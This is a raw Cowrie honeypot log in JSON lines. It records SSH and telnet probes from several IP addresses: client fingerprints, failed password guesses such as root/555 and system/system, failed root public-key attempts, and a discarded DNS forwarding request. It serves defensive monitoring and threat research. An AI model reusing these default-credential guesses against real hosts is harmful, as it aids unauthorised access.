{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:46:49.221030Z","src_ip":"87.251.64.176","session":"1eeec6aee100","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:46:49.322103Z","src_ip":"87.251.64.176","session":"1eeec6aee100","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:46:57.578148Z","src_ip":"8.218.166.49","session":"6f59bc0fa645","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar","message":"login attempt [oscar/oscar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:47:00.561364Z","src_ip":"8.218.166.49","session":"6f59bc0fa645","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.4","message":"Connection lost after 16.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:47:03.661015Z","src_ip":"8.218.166.49","session":"6f59bc0fa645","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":49666,"dst_ip":"10.17.0.5","dst_port":22,"session":"a76da834506d","protocol":"ssh","message":"New connection: 8.218.166.49:49666 (10.17.0.5:22) [session: a76da834506d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:47:06.913877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:47:07.025638Z","src_ip":"8.218.166.49","session":"a76da834506d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":48052,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ffb8e00baf0","protocol":"ssh","message":"New connection: 14.63.196.175:48052 (10.17.0.5:22) [session: 3ffb8e00baf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:47:11.289378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:47:11.294002Z","src_ip":"14.63.196.175","session":"3ffb8e00baf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:47:11.491196Z","src_ip":"14.63.196.175","session":"3ffb8e00baf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"555","message":"login attempt [root/555] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:47:12.313304Z","src_ip":"14.63.196.175","session":"3ffb8e00baf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:47:13.515023Z","src_ip":"14.63.196.175","session":"3ffb8e00baf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:47:18.063579Z","src_ip":"8.218.166.49","session":"a76da834506d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"system","message":"login attempt [system/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:47:23.440332Z","src_ip":"8.218.166.49","session":"a76da834506d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.8","message":"Connection lost after 17.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:47:24.674998Z","src_ip":"8.218.166.49","session":"a76da834506d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.59.59.233","src_port":43284,"dst_ip":"159.203.135.109","dst_port":22,"session":"c20cabde9899","protocol":"ssh","message":"New connection: 13.59.59.233:43284 (159.203.135.109:22) [session: c20cabde9899]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:47:33.012515Z"}
{"eventid":"cowrie.session.connect","src_ip":"13.59.59.233","src_port":40782,"dst_ip":"159.203.135.109","dst_port":23,"session":"361da5668c26","protocol":"telnet","message":"New connection: 13.59.59.233:40782 (159.203.135.109:23) [session: 361da5668c26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:47:33.618263Z"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:47:33.734745Z","src_ip":"13.59.59.233","session":"c20cabde9899","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":0.23150420188903809,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:47:33.849674Z","src_ip":"13.59.59.233","session":"361da5668c26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:48:03.849182Z","src_ip":"8.218.166.49","session":"e6a31e6916a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.59.16.40","src_port":37312,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2a657b272f8","protocol":"ssh","message":"New connection: 216.59.16.40:37312 (10.17.0.5:22) [session: d2a657b272f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:48:10.827669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:48:10.833099Z","src_ip":"216.59.16.40","session":"d2a657b272f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:48:10.856282Z","src_ip":"216.59.16.40","session":"d2a657b272f8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3b:54:86:22:b4:e9:be:ed:80:b4:c5:61:2c:61:f0:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDE5a0B6WL4R5BcrJIzMCqqYDkMcHCuOy4KE+PRoJTLDG3V3uTEkSnFxBj3TMvmqkbKQZ9BjmgZw+KmEstNhbhlWDbOfIuNXowUUBkv69k4AUiFSkO7JUqXILqJ4HiwYl/thm8cFN8Ut11nLM8rp9aVBe6n8VZPAoCZ9+sYisCEX1yKu38fwgKEIL0vJNf8MS3dkUggfqtwWvz/WzpkgvmvUAd1igzYR5u/RTR7p/hA87Q1cpu3qgpa1xrrwO5YuQByATOnkddA/RbnS8Xg06+6JrbxKIK+p/NRw413tfMq4oiC+5WxvsBnJNnT3bHg39aTXnJyB71gyJN/vCVBwfff","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3b:54:86:22:b4:e9:be:ed:80:b4:c5:61:2c:61:f0:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:48:10.951706Z","src_ip":"216.59.16.40","session":"d2a657b272f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3b:54:86:22:b4:e9:be:ed:80:b4:c5:61:2c:61:f0:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDE5a0B6WL4R5BcrJIzMCqqYDkMcHCuOy4KE+PRoJTLDG3V3uTEkSnFxBj3TMvmqkbKQZ9BjmgZw+KmEstNhbhlWDbOfIuNXowUUBkv69k4AUiFSkO7JUqXILqJ4HiwYl/thm8cFN8Ut11nLM8rp9aVBe6n8VZPAoCZ9+sYisCEX1yKu38fwgKEIL0vJNf8MS3dkUggfqtwWvz/WzpkgvmvUAd1igzYR5u/RTR7p/hA87Q1cpu3qgpa1xrrwO5YuQByATOnkddA/RbnS8Xg06+6JrbxKIK+p/NRw413tfMq4oiC+5WxvsBnJNnT3bHg39aTXnJyB71gyJN/vCVBwfff","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:48:10.956050Z","src_ip":"216.59.16.40","session":"d2a657b272f8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2e:1c:e8:95:62:e5:99:2b:30:45:6b:3e:e1:40:9f:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCr4R+yyVJLY9ZxyCHL0/FN3FOuIf5HXDc0PMmBS2uSnFojiS8nsL5UHHXa+0ziU9H7gO1Db1Rq3zp+0h2yrLZD6Aad3NJM7pzQH18dFRMtavDjhbXkV5mEtYT/ktIkg4BpUvzDy6LeoufxEO+f6K5Z8/Rnr9rmGC22q6gq6U1LswTu8tnZBUD8vq3+9lpPTyO4Z1bz9HpnTQALf/UmkpdJCahZllbavx/621yyKl01L7aaYiau2k2O2zAnwJkxl0Ks4N6mS49NjLvjlsPN6dweU9xe1tBfuqNZnKAWOHTgiBssOXxsSrS32Ozrl5AGgYdqEwKE3IEyrpE7N0pDyCtsoyjF7T9NAsXP5cWsu4IrxkQxEGCQxZR91GLWFi0SEsaKrVTZp9SNQAEYyfgkPsOANqzf5LQTTzif9Y+OGuZ8pjQCWhdQo/D5Ag7B33bHI5WImLjPUMtvWVP3+2qxsCHeXrqitlPMGL945dw2XsKAxUk8Z77lfVnrWdHfok/BhzZt0BTu/lRuxD6JUiJDDsTQEMsdxg5Yfjz2Dx2HN6FSJfm/s9N91YBNlZDLrrTPciGSlozMc+wgMYoL/OYDZNadjAj9DAbptXiQsbaPx9cx3wySPTj3CrkTDNvoI+0D1zbKeIs20XNXJ2KWX8xjWKAwQp2EPd1ceTYtcVHtY99cgw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2e:1c:e8:95:62:e5:99:2b:30:45:6b:3e:e1:40:9f:f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:48:10.980224Z","src_ip":"216.59.16.40","session":"d2a657b272f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2e:1c:e8:95:62:e5:99:2b:30:45:6b:3e:e1:40:9f:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCr4R+yyVJLY9ZxyCHL0/FN3FOuIf5HXDc0PMmBS2uSnFojiS8nsL5UHHXa+0ziU9H7gO1Db1Rq3zp+0h2yrLZD6Aad3NJM7pzQH18dFRMtavDjhbXkV5mEtYT/ktIkg4BpUvzDy6LeoufxEO+f6K5Z8/Rnr9rmGC22q6gq6U1LswTu8tnZBUD8vq3+9lpPTyO4Z1bz9HpnTQALf/UmkpdJCahZllbavx/621yyKl01L7aaYiau2k2O2zAnwJkxl0Ks4N6mS49NjLvjlsPN6dweU9xe1tBfuqNZnKAWOHTgiBssOXxsSrS32Ozrl5AGgYdqEwKE3IEyrpE7N0pDyCtsoyjF7T9NAsXP5cWsu4IrxkQxEGCQxZR91GLWFi0SEsaKrVTZp9SNQAEYyfgkPsOANqzf5LQTTzif9Y+OGuZ8pjQCWhdQo/D5Ag7B33bHI5WImLjPUMtvWVP3+2qxsCHeXrqitlPMGL945dw2XsKAxUk8Z77lfVnrWdHfok/BhzZt0BTu/lRuxD6JUiJDDsTQEMsdxg5Yfjz2Dx2HN6FSJfm/s9N91YBNlZDLrrTPciGSlozMc+wgMYoL/OYDZNadjAj9DAbptXiQsbaPx9cx3wySPTj3CrkTDNvoI+0D1zbKeIs20XNXJ2KWX8xjWKAwQp2EPd1ceTYtcVHtY99cgw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:48:10.984650Z","src_ip":"216.59.16.40","session":"d2a657b272f8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"23:de:a5:5e:f7:e7:3e:5e:31:a3:ee:72:cb:1e:87:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDUTFGV7Ed6PpbJRZxJUEAjtwgd1098VMcnepK2Zy4VexB+RkD9l/5hSh6KSdqFWQeAaJhxDz6EpEIFRIZzx6L2ntzSbvFapEHul+UuLprRfr26ucnSL8uFy7YUQdPZF62CRn53OcrVC7biLiSSuBN16emMbGvT0Y+2pDfWyVyatUqFwLhf0jcvMnVA/+UlWgLqPbEFFxrqemVPqDTdyY8NlsOEixunhGMYhQuDmVQJnVkIiuDDR/fRHsWQCIxUmvdGoKC0D2kKNi7EstrnjsPpPt4uYW4QpSUevOOi6TBFX9ADN2o1FAqe+SP0+B/W3LE41fcgymRt3BToAYNbUYESHHOHXJDwzOZieItHrg7LeY2ZvqLU36NqO5S5EihykyQRrCC0mck9q5K/urK/pqNQbJC/mlKn19hiBVKr+HrJVUr/S3SUf92RlEw/i+yeb0OCoxWlL9yx6LDQNO5bsjq4JTz9za1o6Hk5Rt8celE4hBx9mutIlmmgJ5ppYKAkJU/EDU4XtiGd47U/pvQeV3rPo6EyPpEjhS3Ys9V/yz64VV6+gQjLz/L9zFEIyO7ykkuC7nOhIb5nHY4OzCcymwxeW8cpmUU4QRuxMF7aUw79gWLwdjObQBzVfIkiPDBZt7mlV/8BYTZ7XJue2cqdJYyNMSBwDEfwCEdX0EOGe9n14Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 23:de:a5:5e:f7:e7:3e:5e:31:a3:ee:72:cb:1e:87:94","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:48:11.010674Z","src_ip":"216.59.16.40","session":"d2a657b272f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"23:de:a5:5e:f7:e7:3e:5e:31:a3:ee:72:cb:1e:87:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDUTFGV7Ed6PpbJRZxJUEAjtwgd1098VMcnepK2Zy4VexB+RkD9l/5hSh6KSdqFWQeAaJhxDz6EpEIFRIZzx6L2ntzSbvFapEHul+UuLprRfr26ucnSL8uFy7YUQdPZF62CRn53OcrVC7biLiSSuBN16emMbGvT0Y+2pDfWyVyatUqFwLhf0jcvMnVA/+UlWgLqPbEFFxrqemVPqDTdyY8NlsOEixunhGMYhQuDmVQJnVkIiuDDR/fRHsWQCIxUmvdGoKC0D2kKNi7EstrnjsPpPt4uYW4QpSUevOOi6TBFX9ADN2o1FAqe+SP0+B/W3LE41fcgymRt3BToAYNbUYESHHOHXJDwzOZieItHrg7LeY2ZvqLU36NqO5S5EihykyQRrCC0mck9q5K/urK/pqNQbJC/mlKn19hiBVKr+HrJVUr/S3SUf92RlEw/i+yeb0OCoxWlL9yx6LDQNO5bsjq4JTz9za1o6Hk5Rt8celE4hBx9mutIlmmgJ5ppYKAkJU/EDU4XtiGd47U/pvQeV3rPo6EyPpEjhS3Ys9V/yz64VV6+gQjLz/L9zFEIyO7ykkuC7nOhIb5nHY4OzCcymwxeW8cpmUU4QRuxMF7aUw79gWLwdjObQBzVfIkiPDBZt7mlV/8BYTZ7XJue2cqdJYyNMSBwDEfwCEdX0EOGe9n14Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:48:11.015268Z","src_ip":"216.59.16.40","session":"d2a657b272f8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dd:19:94:1e:2d:c8:b0:21:af:91:a6:6d:ba:41:2e:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDEnkuVDCLQR5//fRlKYAzNotvKAvd+idd02OwvBV6jbAviJX/cJM/1pFnDASA763ci1XmW5sa1TL+U3MWfiSt7FfDitomYj5NYk5FTbzt0n6SWi02MeWLoc4hrNPeayaQpUaqufU7ZDNSzs4GgNHzgfA78+oM6DO6S5e4Gt9Gul/I8ZEoE+ZFtqbBgsTvHqKZIsrg+tW42OeW1gPTq9gp6zlRi9UQ1cVOLI//wHGZLUe4E9QMghEyXyFbWgY1D9Sj3EcA8JaPgfbZ1j0zQNBygI8Xc28EnwIhQ3G7pR5cgL2/JX8ZwgMZ44ZoETXPzHahBin/56Lzj+176j3jAgMLjj7vWWl9T9EA5l7FUlJJPSZdGOf84hmAFleWPwg0AGgtpyiffYQTE0urotFWwXYeA2p2frbe3LpjArzLGUzcJl6cnRKUPlArsJ9Htvtvn5sOkpMicVCBJ9AYv6445HL6MeORgucYMYJniXP7NYSovCn8KzllKGs++8O8RBzN8Yc/wcipVLvaT6HRCISEdTqgaevSbd+y6Dl0q6WbaJ/gwmOkX4bzr6Zl7PGGH5mgZuXdoFpHyKnq8B+LGdgBL3tWhO3cZXHPvcdLnUWeNdVrDgUWT7F9eaz8INA1tefysqO8BEvnXvrnGqxf3b/LYkx156CmvRpF/1j2PmozOvwXujQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dd:19:94:1e:2d:c8:b0:21:af:91:a6:6d:ba:41:2e:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:48:11.041096Z","src_ip":"216.59.16.40","session":"d2a657b272f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dd:19:94:1e:2d:c8:b0:21:af:91:a6:6d:ba:41:2e:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDEnkuVDCLQR5//fRlKYAzNotvKAvd+idd02OwvBV6jbAviJX/cJM/1pFnDASA763ci1XmW5sa1TL+U3MWfiSt7FfDitomYj5NYk5FTbzt0n6SWi02MeWLoc4hrNPeayaQpUaqufU7ZDNSzs4GgNHzgfA78+oM6DO6S5e4Gt9Gul/I8ZEoE+ZFtqbBgsTvHqKZIsrg+tW42OeW1gPTq9gp6zlRi9UQ1cVOLI//wHGZLUe4E9QMghEyXyFbWgY1D9Sj3EcA8JaPgfbZ1j0zQNBygI8Xc28EnwIhQ3G7pR5cgL2/JX8ZwgMZ44ZoETXPzHahBin/56Lzj+176j3jAgMLjj7vWWl9T9EA5l7FUlJJPSZdGOf84hmAFleWPwg0AGgtpyiffYQTE0urotFWwXYeA2p2frbe3LpjArzLGUzcJl6cnRKUPlArsJ9Htvtvn5sOkpMicVCBJ9AYv6445HL6MeORgucYMYJniXP7NYSovCn8KzllKGs++8O8RBzN8Yc/wcipVLvaT6HRCISEdTqgaevSbd+y6Dl0q6WbaJ/gwmOkX4bzr6Zl7PGGH5mgZuXdoFpHyKnq8B+LGdgBL3tWhO3cZXHPvcdLnUWeNdVrDgUWT7F9eaz8INA1tefysqO8BEvnXvrnGqxf3b/LYkx156CmvRpF/1j2PmozOvwXujQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:48:11.044879Z","src_ip":"216.59.16.40","session":"d2a657b272f8","protocol":"ssh"}
